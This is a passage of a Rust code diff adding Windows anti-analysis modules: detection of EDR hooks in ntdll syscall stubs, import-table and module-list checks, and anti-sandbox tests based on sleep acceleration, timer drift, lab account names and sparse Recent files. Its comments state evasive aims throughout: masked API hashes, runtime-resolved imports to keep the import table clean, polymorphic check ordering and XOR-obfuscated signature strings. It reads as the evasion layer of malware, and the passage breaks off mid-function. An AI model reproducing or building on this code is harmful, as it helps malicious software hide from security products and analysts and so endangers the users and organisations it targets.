pAuthInfo: *mut c_void,
|
||||
dwCapabilities: u32,
|
||||
) -> i32;
|
||||
}
|
||||
|
||||
#[link(name = "oleaut32")]
|
||||
extern "system" {
|
||||
pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16;
|
||||
pub fn SysFreeString(bstrString: *mut u16);
|
||||
pub fn SysStringByteLen(bstrString: *mut u16) -> u32;
|
||||
}
|
||||
|
||||
// ---- Display (user32) : used to detect virtual/OEM display drivers via a very
|
||||
// low refresh-rate signature and driver name. ----
|
||||
pub const ENUM_CURRENT_SETTINGS: u32 = 0xFFFFFFFF;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct DEVMODEW {
|
||||
pub dm_device_name: [u16; 32],
|
||||
pub dm_spec_version: u16,
|
||||
pub dm_driver_version: u16,
|
||||
pub dm_size: u16,
|
||||
pub dm_driver_extra: u16,
|
||||
pub dm_fields: u32,
|
||||
pub dm_union: [u32; 12], // union of position/orientation/etc; shrunk to 12
|
||||
pub dm_display_orientation: i32,
|
||||
pub dm_display_fixed_output: u32,
|
||||
pub dm_color: i16,
|
||||
pub dm_duplex: i16,
|
||||
pub dm_y_resolution: i16,
|
||||
pub dm_t_t_option: i16,
|
||||
pub dm_collate: i16,
|
||||
pub dm_form_name: [u16; 32],
|
||||
pub dm_log_pixels: u16,
|
||||
pub dm_bits_per_pel: u32,
|
||||
pub dm_pels_width: u32,
|
||||
pub dm_pels_height: u32,
|
||||
pub dm_display_flags: u32,
|
||||
pub dm_display_frequency: u32,
|
||||
pub dm_icc_margin: u32,
|
||||
pub dm_display_orientation2: u32,
|
||||
pub dm_display_fixed_output2: u32,
|
||||
pub dm_panning_width: u32,
|
||||
pub dm_panning_height: u32,
|
||||
}
|
||||
|
||||
#[link(name = "user32")]
|
||||
extern "system" {
|
||||
// Anti-analysis user32 APIs (window/display/input enumeration) are resolved
|
||||
// at runtime via `dynapi` — they are NOT statically imported. The user32
|
||||
// link block is retained only for APIs that are both benign and needed at
|
||||
// link time elsewhere; currently none qualify, so this block is empty.
|
||||
}
|
||||
|
||||
// ---- anti-vm: registry (advapi32) ----
|
||||
// Registry probing APIs are resolved at runtime via `dynapi` to keep the
|
||||
// import table clean. Only constants remain.
|
||||
pub const HKEY_LOCAL_MACHINE: usize = 0x8000_0002;
|
||||
pub const KEY_READ: u32 = 0x2001_9;
|
||||
|
||||
// ---- anti-vm: network adapters (iphlpapi) ----
|
||||
// GetAdaptersAddresses resolved at runtime via `dynapi`.
|
||||
|
||||
// ---- anti-vm: kernel32 extras (same link block as above; declared separately
|
||||
// for clarity) ----
|
||||
extern "system" {
|
||||
pub fn GetFileAttributesW(lp_file_name: *const u16) -> u32;
|
||||
pub fn GetDriveTypeW(lp_root_path_name: *const u16) -> u32;
|
||||
pub fn GetVolumeInformationW(
|
||||
lp_root_path_name: *const u16,
|
||||
lp_volume_name_buffer: *mut u16,
|
||||
n_volume_name_size: u32,
|
||||
lp_volume_serial_number: *mut u32,
|
||||
lp_maximum_component_length: *mut u32,
|
||||
lp_file_system_flags: *mut u32,
|
||||
lp_file_system_name_buffer: *mut u16,
|
||||
n_file_system_name_size: u32,
|
||||
) -> i32;
|
||||
pub fn Module32FirstW(h_snapshot: usize, lpme: *mut c_void) -> i32;
|
||||
pub fn Module32NextW(h_snapshot: usize, lpme: *mut c_void) -> i32;
|
||||
}
|
||||
@@ -0,0 +1,357 @@
|
||||
//! Userland hook detection — comprehensive.
|
||||
//!
|
||||
//! EDRs and sandboxes typically hot-patch the first bytes of critical NT APIs
|
||||
//! (ntdll) to redirect execution into their own instrumentation. An unhooked
|
||||
//! x64 syscall stub begins with a fixed prologue (`mov r10, rcx; mov eax, <nr>;
|
||||
//! syscall; ret`) — a hook replaces this with a `jmp`/`push`/`mov` into their DLL.
|
||||
//!
|
||||
//! We detect:
|
||||
//! - Inline hooks (code patching at function entry)
|
||||
//! - IAT/EAT hooks (import/export address table modifications)
|
||||
//! - Syscall stub corruption
|
||||
//! - Module list manipulation (hidden modules)
|
||||
//! - Breakpoint / hardware breakpoint detection
|
||||
|
||||
use core::ptr;
|
||||
|
||||
use crate::apires;
|
||||
use crate::gen;
|
||||
use crate::syscall::{r as unmask, HASH_KEY};
|
||||
|
||||
/// Public byte-reader for cross-module use (syscall number extraction).
|
||||
pub(crate) unsafe fn read_bytes_pub(ptr_addr: usize, buf: &mut [u8]) -> usize {
|
||||
let n = buf.len().min(32);
|
||||
for i in 0..n {
|
||||
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
|
||||
}
|
||||
n
|
||||
}
|
||||
|
||||
// Rotating-hash constants for the NT functions we probe (algorithm verified
|
||||
// against apires::hash_ascii). Stored XORed with HASH_KEY so the raw API-hash
|
||||
// values never appear in the binary; unmask() recovers them at runtime.
|
||||
const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
|
||||
const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
|
||||
const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
|
||||
const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
|
||||
const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
|
||||
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
||||
const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
|
||||
const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
|
||||
const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
|
||||
const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
|
||||
|
||||
/// Read `len` bytes from an address (volatile) into a buffer.
|
||||
unsafe fn read_bytes(ptr_addr: usize, buf: &mut [u8]) -> usize {
|
||||
let n = buf.len().min(32);
|
||||
for i in 0..n {
|
||||
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
|
||||
}
|
||||
n
|
||||
}
|
||||
|
||||
/// Check if bytes look like a clean x64 syscall stub.
|
||||
/// Pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3
|
||||
unsafe fn is_clean_syscall_stub(buf: &[u8]) -> bool {
|
||||
if buf.len() < 12 {
|
||||
return false;
|
||||
}
|
||||
// mov r10, rcx
|
||||
if buf[0] != 0x4C || buf[1] != 0x8B || buf[2] != 0xD1 {
|
||||
return false;
|
||||
}
|
||||
// mov eax, imm32
|
||||
if buf[3] != 0xB8 {
|
||||
return false;
|
||||
}
|
||||
// syscall (0F 05) at offset 8-9
|
||||
if buf[8] != 0x0F || buf[9] != 0x05 {
|
||||
return false;
|
||||
}
|
||||
// ret (C3) at offset 10
|
||||
if buf[10] != 0xC3 {
|
||||
return false;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// Check for common hook prologues: JMP (E9/EB), indirect JMP (FF 25),
|
||||
/// PUSH+MOV trampoline, INT3 (CC), etc.
|
||||
unsafe fn has_hook_prologue(buf: &[u8]) -> bool {
|
||||
if buf.is_empty() {
|
||||
return true; // unreadable = suspicious
|
||||
}
|
||||
match buf[0] {
|
||||
0xE9 | 0xEB => true, // JMP rel32/rel8
|
||||
0xFF => { // Possible indirect JMP/CALL
|
||||
if buf.len() > 1 && (buf[1] == 0x25 || buf[1] == 0x15) {
|
||||
return true; // FF 25 (jmp [rip+disp32]) or FF 15 (call [rip+disp32])
|
||||
}
|
||||
false
|
||||
}
|
||||
0x68 => true, // PUSH imm32 (trampoline start)
|
||||
0xCC => true, // INT3 (breakpoint)
|
||||
0xC3 => { // RET at entry = empty stub or trampoline
|
||||
if buf.len() >= 2 && buf[1] == 0x90 {
|
||||
return true; // RET + NOP = suspicious
|
||||
}
|
||||
false
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for inline hook by comparing first N bytes against clean stub.
|
||||
unsafe fn check_inline_hook(addr: usize) -> bool {
|
||||
let mut probe = [0u8; 32];
|
||||
read_bytes(addr, &mut probe);
|
||||
|
||||
// If it's a clean syscall stub, not hooked
|
||||
if is_clean_syscall_stub(&probe) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// If it has a hook prologue, it's hooked
|
||||
if has_hook_prologue(&probe) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Additional heuristic: check for unexpected instructions in first 16 bytes
|
||||
// Clean ntdll stubs don't have: CALL, LOOP, conditional Jcc in first bytes
|
||||
for i in 0..16.min(probe.len()) {
|
||||
match probe[i] {
|
||||
0xE8 | 0xE9 | 0xEB | 0xFF | 0x68 | 0xCC | 0x0F => {
|
||||
// 0F could be conditional jump or syscall; check next byte
|
||||
if probe[i] == 0x0F && i + 1 < probe.len() {
|
||||
let next = probe[i + 1];
|
||||
// 0F 05 = syscall (OK), 0F 34 = sysenter (OK)
|
||||
// 0F 8x = Jcc (suspicious at entry)
|
||||
if (0x80..=0x8F).contains(&next) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Check IAT for a given module - look for entries pointing outside expected modules.
|
||||
unsafe fn check_iat_hooks(module_base: usize) -> bool {
|
||||
// Parse PE headers to find Import Address Table
|
||||
let dos_hdr = module_base as *const u8;
|
||||
if ptr::read_volatile(dos_hdr) != 0x4D || ptr::read_volatile(dos_hdr.add(1)) != 0x5A {
|
||||
return false; // Not a valid PE
|
||||
}
|
||||
let lfanew = ptr::read_volatile((module_base + 0x3C) as *const u32) as usize;
|
||||
let nt_hdr = module_base + lfanew;
|
||||
if ptr::read_volatile(nt_hdr as *const u32) != 0x0000_4550 {
|
||||
return false; // Not PE32+
|
||||
}
|
||||
|
||||
// Optional header starts at nt_hdr + 24
|
||||
let opt_hdr = nt_hdr + 24;
|
||||
let magic = ptr::read_volatile(opt_hdr as *const u16);
|
||||
let is_pe64 = magic == 0x20B;
|
||||
|
||||
// Data directories: offset 96 (PE32) or 112 (PE32+)
|
||||
let dir_offset = if is_pe64 { 112 } else { 96 };
|
||||
let import_dir_rva = ptr::read_volatile((nt_hdr + dir_offset + 0) as *const u32) as usize;
|
||||
let import_dir_size = ptr::read_volatile((nt_hdr + dir_offset + 4) as *const u32) as usize;
|
||||
|
||||
if import_dir_rva == 0 || import_dir_size == 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
let import_desc = (module_base + import_dir_rva) as *const u8;
|
||||
let mut suspicious = 0u32;
|
||||
let mut idx = 0usize;
|
||||
|
||||
loop {
|
||||
let name_rva = ptr::read_volatile((import_desc.add(idx).add(12)) as *const u32) as usize;
|
||||
if name_rva == 0 {
|
||||
break;
|
||||
}
|
||||
let thunk_rva = ptr::read_volatile((import_desc.add(idx).add(16)) as *const u32) as usize;
|
||||
if thunk_rva == 0 {
|
||||
idx += 20;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Walk thunk array
|
||||
let mut thunk_idx = 0usize;
|
||||
loop {
|
||||
let thunk_addr = module_base + thunk_rva + thunk_idx * if is_pe64 { 8 } else { 4 };
|
||||
let thunk_val = if is_pe64 {
|
||||
ptr::read_volatile(thunk_addr as *const u64) as usize
|
||||
} else {
|
||||
ptr::read_volatile(thunk_addr as *const u32) as usize
|
||||
};
|
||||
if thunk_val == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Check if thunk points outside known modules (ntdll, kernel32, kernelbase)
|
||||
let in_known = is_in_known_module(thunk_val);
|
||||
if !in_known && thunk_val != 0 {
|
||||
suspicious += 1;
|
||||
if suspicious > 5 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
thunk_idx += 1;
|
||||
}
|
||||
idx += 20;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
unsafe fn is_in_known_module(addr: usize) -> bool {
|
||||
let peb = apires::peb_ptr();
|
||||
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
||||
if ldr == 0 { return false; }
|
||||
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
||||
if head == 0 { return false; }
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 { break; }
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let base = ptr::read_volatile((entry + 0x30) as *const usize);
|
||||
let size = ptr::read_volatile((entry + 0x40) as *const usize); // SizeOfImage
|
||||
if base != 0 && addr >= base && addr < base + size {
|
||||
return true;
|
||||
}
|
||||
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
||||
if next == head || next == cur { break; }
|
||||
cur = next;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Check for hidden modules (modules in memory but not in PEB list).
|
||||
/// Compares VAD regions against PEB module list.
|
||||
unsafe fn check_hidden_modules() -> bool {
|
||||
// This is complex; simplified version: check if ntdll base from PEB
|
||||
// matches ntdll base from KnownDlls or manual scan.
|
||||
let peb_ntdll = apires::ntdll_base();
|
||||
if peb_ntdll == 0 {
|
||||
return true; // Suspicious: ntdll not in PEB
|
||||
}
|
||||
|
||||
// Check KnownDlls directory (requires more code)
|
||||
// For now, basic sanity: ntdll should be readable and have exports
|
||||
let mut probe = [0u8; 4];
|
||||
read_bytes(peb_ntdll, &mut probe);
|
||||
if ptr::read_volatile(probe.as_ptr() as *const u32) != 0x0000_4550 { // Not "MZ" + "PE"
|
||||
return true; // ntdll corrupted?
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Return true if a resolved NT function looks hooked (not a stock stub).
|
||||
unsafe fn nt_looks_hooked(resolved: usize) -> bool {
|
||||
if resolved == 0 {
|
||||
return true;
|
||||
}
|
||||
check_inline_hook(resolved)
|
||||
}
|
||||
|
||||
/// Probe ntdll exports we resolve by hash and see if any are hooked.
|
||||
/// Also checks IAT of current module and kernel32.
|
||||
/// Returns true if instrumentation was detected.
|
||||
pub unsafe fn detect_hooks() -> bool {
|
||||
let mut hooked = 0u32;
|
||||
let mut checked = 0u32;
|
||||
|
||||
// Critical NT APIs to check
|
||||
let mut critical_apis = [
|
||||
unmask(HASH_NTPROTECT_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTQUERY_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTALLOCATE_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTFREE_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTCREATE_THREAD_EX),
|
||||
unmask(HASH_NTQUERY_INFORMATION_PROCESS),
|
||||
unmask(HASH_NTQUERY_SYSTEM_INFORMATION),
|
||||
unmask(HASH_NTREAD_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTWRITE_VIRTUAL_MEMORY),
|
||||
unmask(HASH_LDR_LOAD_DLL),
|
||||
];
|
||||
|
||||
// Shuffle order using HOOK_ORDER_SEED for polymorphic behavior
|
||||
let mut seed = gen::HOOK_ORDER_SEED;
|
||||
for i in (1..critical_apis.len()).rev() {
|
||||
seed = seed.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
|
||||
let j = (seed as usize) % (i + 1);
|
||||
critical_apis.swap(i, j);
|
||||
}
|
||||
|
||||
for &hash in &critical_apis {
|
||||
if let Some(addr) = resolve_export(hash) {
|
||||
checked += 1;
|
||||
if nt_looks_hooked(addr) {
|
||||
hooked += 1;
|
||||
}
|
||||
} else {
|
||||
hooked += 1; // Failed to resolve = suspicious
|
||||
}
|
||||
}
|
||||
|
||||
// Check IAT of current module
|
||||
let peb = apires::peb_ptr();
|
||||
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
||||
if ldr != 0 {
|
||||
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
||||
if head != 0 {
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 { break; }
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let base = ptr::read_volatile((entry + 0x30) as *const usize);
|
||||
let _name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
|
||||
let _name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
|
||||
|
||||
// Check if this is our own module (first entry usually)
|
||||
if base != 0 {
|
||||
if check_iat_hooks(base) {
|
||||
hooked += 2; // IAT hook is more severe
|
||||
}
|
||||
break; // Only check first module (our EXE)
|
||||
}
|
||||
|
||||
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
||||
if next == head || next == cur { break; }
|
||||
cur = next;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check for hidden modules
|
||||
if check_hidden_modules() {
|
||||
hooked += 2;
|
||||
}
|
||||
|
||||
// Threshold: 2+ hooked critical APIs, or any IAT/hidden module anomaly
|
||||
hooked >= 2
|
||||
}
|
||||
|
||||
/// Resolve an ntdll export by name hash, returning Some(VA) or None.
|
||||
pub unsafe fn resolve_export(want: u32) -> Option<usize> {
|
||||
let base = apires::ntdll_base();
|
||||
if base == 0 {
|
||||
return None;
|
||||
}
|
||||
let addr = apires::export_by_hash_public(base, want);
|
||||
if addr == 0 {
|
||||
None
|
||||
} else {
|
||||
Some(addr)
|
||||
}
|
||||
}
|
||||
|
||||
/// Public: check if a specific address looks hooked (for external use).
|
||||
pub unsafe fn is_address_hooked(addr: usize) -> bool {
|
||||
check_inline_hook(addr)
|
||||
}
|
||||
@@ -0,0 +1,540 @@
|
||||
//! Anti-sandbox detection — reliability-focused.
|
||||
//!
|
||||
//! Design goal: near-zero false positives on real user machines while still
|
||||
//! catching automated analysis environments (Cuckoo, CAPE, Joe, Any.Run,
|
||||
//! custom sandboxes).
|
||||
//!
|
||||
//! Reliability strategy:
|
||||
//! 1. **Hard signals** — physically impossible on a clean host (Sleep
|
||||
//! acceleration, timer tampering). Each alone is conclusive.
|
||||
//! 2. **Strong signals** — very rare on real machines (sandbox identity
|
||||
//! markers, empty desktop). Counted individually.
|
||||
//! 3. **Weak signals** — occasionally seen on legit machines (few recent
|
||||
//! files, small screen, quiet mouse). Only counted when at least one
|
||||
//! strong signal corroborates them. This corroboration rule is what
|
||||
//! makes the overall verdict reliable.
|
||||
//!
|
||||
//! All signature strings are XOR-obfuscated; all checks are independent so a
|
||||
//! sandbox that spoofs one vector does not defeat the rest.
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
use crate::dynapi;
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
use crate::syscall;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn lower(b: &[u8]) -> Vec<u8> {
|
||||
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
||||
}
|
||||
|
||||
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
||||
}
|
||||
|
||||
fn wide(s: &[u8]) -> Vec<u16> {
|
||||
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
|
||||
}
|
||||
|
||||
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
|
||||
let mut hk: usize = 0;
|
||||
let status = dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
subkey_wide.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
);
|
||||
if status == 0 {
|
||||
dynapi::RegCloseKey(hk);
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn rdtsc_now() -> u64 {
|
||||
let mut lo: u32;
|
||||
let mut hi: u32;
|
||||
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
|
||||
((hi as u64) << 32) | lo as u64
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// HARD SIGNAL 1: Sleep acceleration (the classic, highly reliable check)
|
||||
//
|
||||
// Sandboxes (Cuckoo/CAPE/Joe and many EDR detonation chambers) hook
|
||||
// kernel32!Sleep / ntdll!NtDelayExecution and fast-forward long waits to cut
|
||||
// analysis time. We call the *normal hooked API path* (kernel32!Sleep) and
|
||||
// measure real elapsed time with QueryPerformanceCounter. If the wall clock
|
||||
// advanced far less than requested, the sleep was manipulated — no clean
|
||||
// Windows host does this.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn sleep_accelerated(request_ms: u32) -> bool {
|
||||
unsafe {
|
||||
let mut q0: i64 = 0;
|
||||
let mut q1: i64 = 0;
|
||||
|
||||
abi::QueryPerformanceCounter(&mut q0);
|
||||
abi::Sleep(request_ms);
|
||||
abi::QueryPerformanceCounter(&mut q1);
|
||||
|
||||
let freq = query_freq();
|
||||
let elapsed_ms = if freq > 0 {
|
||||
((q1 - q0) as f64) / (freq as f64) * 1000.0
|
||||
} else {
|
||||
request_ms as f64 // can't measure; don't flag
|
||||
};
|
||||
|
||||
// Generous margin to avoid FP from scheduling hiccups: only flag when
|
||||
// less than 80% of the requested time actually passed. Real sleeps
|
||||
// always overshoot slightly, never undershoot by >20%.
|
||||
elapsed_ms < (request_ms as f64) * 0.80
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn query_freq() -> i64 {
|
||||
// QueryPerformanceFrequency via direct link (add to kernel32 block).
|
||||
extern "system" {
|
||||
fn QueryPerformanceFrequency(lp_frequency: *mut i64) -> i32;
|
||||
}
|
||||
let mut f: i64 = 0;
|
||||
if QueryPerformanceFrequency(&mut f) != 0 {
|
||||
f
|
||||
} else {
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
/// Kernel-level variant: even our *own* NtDelayExecution (direct syscall,
|
||||
/// bypassing any userland hook) returns early. Catches kernel-timer
|
||||
/// manipulation (rare, e.g. some kernel-mode sandboxes).
|
||||
pub fn kernel_sleep_accelerated(request_ms: u32) -> bool {
|
||||
unsafe {
|
||||
let t0 = abi::GetTickCount64();
|
||||
let interval: i64 = -((request_ms as i64) * 10_000);
|
||||
syscall::sys_nt_delay_execution(0, &interval as *const i64);
|
||||
let t1 = abi::GetTickCount64();
|
||||
// GetTickCount itself could be faked; require both sources to agree
|
||||
// that time barely moved before flagging.
|
||||
let tick_delta = t1.saturating_sub(t0);
|
||||
(tick_delta as f64) < (request_ms as f64) * 0.5 && tick_delta < request_ms as u64
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// HARD SIGNAL 2: Timer inconsistency (RDTSC vs QPC drift)
|
||||
//
|
||||
// Under single-stepping instrumentation the TSC advances wildly relative to
|
||||
// the monotonic QPC clock between samples. Two spaced samples of the ratio
|
||||
// should agree closely on clean hardware.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn timer_inconsistent() -> bool {
|
||||
unsafe {
|
||||
let mut q0: i64 = 0;
|
||||
let mut q1: i64 = 0;
|
||||
let f = query_freq();
|
||||
if f <= 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
let t_a = rdtsc_now();
|
||||
abi::QueryPerformanceCounter(&mut q0);
|
||||
// Small deterministic busy work (~ms scale).
|
||||
let mut sink: u64 = 0;
|
||||
for i in 0..200_000u64 {
|
||||
sink ^= i.wrapping_mul(0x9E37_79B9);
|
||||
}
|
||||
core::hint::black_box(sink);
|
||||
abi::QueryPerformanceCounter(&mut q1);
|
||||
let t_b = rdtsc_now();
|
||||
|
||||
let qpc_d = (q1 - q0).max(1) as f64;
|
||||
let tsc_d1 = (t_b - t_a) as f64;
|
||||
let ratio1 = tsc_d1 / qpc_d;
|
||||
|
||||
// Second sample after a real sleep so the two windows are separated.
|
||||
abi::Sleep(120);
|
||||
|
||||
let t_c = rdtsc_now();
|
||||
abi::QueryPerformanceCounter(&mut q0);
|
||||
let mut sink2: u64 = 0;
|
||||
for i in 0..200_000u64 {
|
||||
sink2 ^= i.wrapping_mul(0x85EB_CA6B);
|
||||
}
|
||||
core::hint::black_box(sink2);
|
||||
abi::QueryPerformanceCounter(&mut q1);
|
||||
let t_d = rdtsc_now();
|
||||
|
||||
let qpc_d2 = (q1 - q0).max(1) as f64;
|
||||
let tsc_d2 = (t_d - t_c) as f64;
|
||||
let ratio2 = tsc_d2 / qpc_d2;
|
||||
|
||||
// On clean hardware both ratios approximate the fixed TSC/QPC rate.
|
||||
let hi = ratio1.max(ratio2);
|
||||
let lo = ratio1.min(ratio2);
|
||||
// >4x divergence between windows means something injected cycles or
|
||||
// froze one clock — stepping debuggers inflate TSC massively.
|
||||
hi > lo * 4.0 && hi > 50.0
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// STRONG SIGNAL: identity markers in USERNAME / COMPUTERNAME
|
||||
//
|
||||
// Well-known analysis-lab account names. A hit alone isn't conclusive (a dev
|
||||
// could be named "test"), so weight it strong-but-not-hard.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn identity_markers() -> bool {
|
||||
// Deliberately excludes common personal names (high FP risk); keeps only
|
||||
// labels that are effectively never chosen by real users.
|
||||
let key: u8 = gen::K_ENV;
|
||||
let names: [(obf::Slot, u32); 10] = [
|
||||
obf::sig(key, 0x7001, b"BUDDY"),
|
||||
obf::sig(key, 0x7002, b"JOHN DOE"),
|
||||
obf::sig(key, 0x7003, b"SANDOX"),
|
||||
obf::sig(key, 0x7004, b"CURRENTUSER"),
|
||||
obf::sig(key, 0x7005, b"FORTINET"),
|
||||
obf::sig(key, 0x7006, b"VIRUSBOT"),
|
||||
obf::sig(key, 0x7007, b"MALWAREBOT"),
|
||||
obf::sig(key, 0x7008, b"SANDBOX"),
|
||||
obf::sig(key, 0x7009, b"CUCKOO"),
|
||||
obf::sig(key, 0x700a, b"AUTOUSER"),
|
||||
];
|
||||
const LENS: [usize; 10] = [5, 8, 6, 11, 8, 8, 10, 7, 6, 8];
|
||||
|
||||
let env_names: [&[u8]; 3] = [b"USERNAME", b"COMPUTERNAME", b"USERDOMAIN"];
|
||||
let mut buf = [0u16; 128];
|
||||
|
||||
unsafe {
|
||||
for ev in env_names {
|
||||
let w = wide(ev);
|
||||
let got = abi::GetEnvironmentVariableW(w.as_ptr(), buf.as_mut_ptr(), 128);
|
||||
if got == 0 || got >= 128 {
|
||||
continue;
|
||||
}
|
||||
let val: Vec<u8> = buf[..got as usize].iter().map(|&c| c as u8).collect();
|
||||
let vl = lower(&val);
|
||||
for (i, s) in names.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&vl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// STRONG SIGNAL: desktop emptiness (Recent-items count)
|
||||
//
|
||||
// A real, used machine has dozens of shell Recent links. A pristine snapshot
|
||||
// has ~none. Freshly-imaged legit machines are the main FP risk, hence this
|
||||
// is "strong", not hard.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
struct FindDataW {
|
||||
dw_attributes: u32,
|
||||
_creation: u64,
|
||||
_access: u64,
|
||||
_write: u64,
|
||||
_size_high: u32,
|
||||
_size_low: u32,
|
||||
_res0: u32,
|
||||
_res1: u32,
|
||||
c_file_name: [u16; 260],
|
||||
_alt: [u16; 14],
|
||||
_pad: [u16; 2],
|
||||
}
|
||||
|
||||
unsafe fn count_files(dir_wide: &[u16], max_count: u32) -> u32 {
|
||||
const FIND_FIRST_EX_CASE_SENSITIVE: u32 = 1;
|
||||
let _ = FIND_FIRST_EX_CASE_SENSITIVE;
|
||||
let mut count: u32 = 0;
|
||||
let mut fd: FindDataW = core::mem::zeroed();
|
||||
let h = abi::FindFirstFileExW(
|
||||
dir_wide.as_ptr(),
|
||||
0, // FindExInfoStandard
|
||||
&mut fd as *mut _ as *mut c_void,
|
||||
0, // FindExSearchNameMatch
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
);
|
||||
if h == usize::MAX || h == 0 {
|
||||
return 0;
|
||||
}
|
||||
loop {
|
||||
let name_len = fd.c_file_name.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
// skip "." and ".."
|
||||
let dot = name_len == 1 && fd.c_file_name[0] == '.' as u16;
|
||||
let dotdot = name_len == 2 && fd.c_file_name[0] == '.' as u16 && fd.c_file_name[1] == '.' as u16;
|
||||
if !dot && !dotdot {
|
||||
count += 1;
|
||||
if count >= max_count {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if abi::FindNextFileW(h, &mut fd as *mut _ as *mut c_void) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
extern "system" { fn FindClose(h_find_file: usize) -> i32; }
|
||||
FindClose(h);
|
||||
count
|
||||
}
|
||||
|
||||
pub fn desktop_activity_sparse() -> bool {
|
||||
unsafe {
|
||||
// %APPDATA%\Microsoft\Windows\Recent\*
|
||||
let mut appdata = [0u16; 160];
|
||||
let av_w = wide(b"APPDATA");
|
||||
let n = abi::GetEnvironmentVariableW(av_w.as_ptr(), appdata.as_mut_ptr(), 150);
|
||||
if n == 0 || n >= 140 {
|
||||
return false;
|
||||
}
|
||||
let mut pattern: Vec<u16> = appdata[..n as usize].to_vec();
|
||||
let suffix = b"\\Microsoft\\Windows\\Recent\\*";
|
||||
for &c in suffix {
